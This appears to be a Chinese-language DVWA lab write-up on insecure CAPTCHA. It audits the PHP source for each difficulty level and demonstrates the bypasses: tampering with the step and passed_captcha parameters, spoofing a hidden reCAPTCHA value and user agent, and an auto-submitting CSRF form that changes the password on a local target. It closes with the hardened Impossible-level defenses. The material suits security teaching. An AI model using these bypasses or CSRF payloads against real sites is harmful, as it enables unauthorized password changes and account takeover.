Insecure CAPTCHA introduce and usage

漏洞介绍

  • CAPTCHA项目是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称,是一种区分用户是计算机和人的公共全自动程序。
  • 使用CAPTCHA可以防止计算机恶意破解密码、刷单等,保证用户是人类(无法快速反复发送请求)。
  • 攻击者绕过CAPTCHA验证后,可以使用恶意脚本操控计算机反复发送请求或者在异地实现绕过验证的CSRF攻击。

漏洞原理

  • CAPTCHA漏洞利用验证机制的逻辑漏洞,下面给出验证流程。
  • 服务器使用recaptcha_check_answer()函数验证用户输入的正确性

recaptcha_check_answer(string: $privkey, string: $remoteip, string: $challenge, string: $response, array: $extra_params = array())

  • 可以利用服务器核对验证信息这个环节,绕过CAPTCHA验证,完成非人类请求。

漏洞复现

  • 这里使用DVWA靶场完成对攻击场景的模拟。
  • 由于Burp Suite的代理和梯子冲突,故不打开梯子,reCAPTCHA无法显示(会使用方法绕过,此处不影响)。

Low

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

审计

  • 这里修改密码的过程有两步,第一步是CAPTCHA的验证环节,第二步是将参数POST到后台。
  • 由于两步操作的判断是完全分开、没有联系的,于是可以忽略第一步的验证,直接提交修改申请。
  • 两个步骤对应的step参数不同,可以通过抓取报文并且修改step,来实现验证的绕过。
  • 代码没有对CSRF进行任何防护,可以利用CSRF漏洞进行攻击。

攻击

  • 不进行验证,直接输入对密码的修改。
  • 点击change后,step本应提交为1,此处进行抓包修改。
  • 修改之后则绕过了验证阶段,直接进行密码修改。
  • 第二种方法,同CSRF攻击一样,构造攻击页面。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>

<body onload="document.getElementById('transfer').submit()">

<div>

<form method="POST" id="transfer" action="http://127.0.0.1/DVWA-master/vulnerabilities/captcha/">

<input type="hidden" name="password_new" value="password">

<input type="hidden" name="password_conf" value="password">

<input type="hidden" name="step" value="2">

<input type="hidden" name="Change" value="Change">

</form>

</div>

</body>

</html>
  • 用户点击攻击页面后自动提交请求,并跳转到修改密码的初始页面。

Medium

代码

1
2
3
4
5
6
7
8
9
10
// Same as Low
...

// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
...

审计

  • Medium级别基于Low的基础,在第二步判断增加了对第一步是否通过的验证,即判断参数passed_captcha是否为真。
  • passed_captcha参数是通过POST提交的,整个请求也是POST请求,故可以人为加上此参数。

攻击

  • Low一样,直接跳过验证环节,提交请求。
  • 使用Burp Suite抓取包并修改报文,将步骤直接调整到第二步,第二步的验证伪造为已验证,即直接加入passed_captcha参数,混入POST的参数提交。
  • Forward提交请求,发现完成绕过。
  • 利用CSRF漏洞攻击时,攻击页面需要添加一条参数提交。
1
<input type="hidden" name="passed_captcha" value="true">

High

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Same as Medium
...

if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
...

// Generate Anti-CSRF token
generateSessionToken();

?>

审计

  • High级别将验证流程合并,通过连续的判断将两个步骤相同的部分合并,避免了第一步验证的直接改参绕过。
  • 加入了token机制,有效防止CSRF漏洞攻击,下面不再做攻击页面。

攻击

  • 看到了后端代码,发现即使不验证也有机会绕过验证,于是针对g-recaptcha-responseHTTP_USER_AGENT操作。
  • 同样不验证,直接提交请求并对相关参数进行抓包修改。
  • 提交后,参数完成了伪造绕过。

漏洞防御

  • 使用Impossible级别代码作为防御模板。

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );

$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

审计

  • 使用Anti-CSRF token机制防御CSRF攻击。
  • 验证步骤合并为同一步,无需分开,使得验证环节无法绕过。
  • 要求输入修改之前的密码,攻击者无法绕过。
  • 利用PDO技术输入内容过滤,防止了sql注入。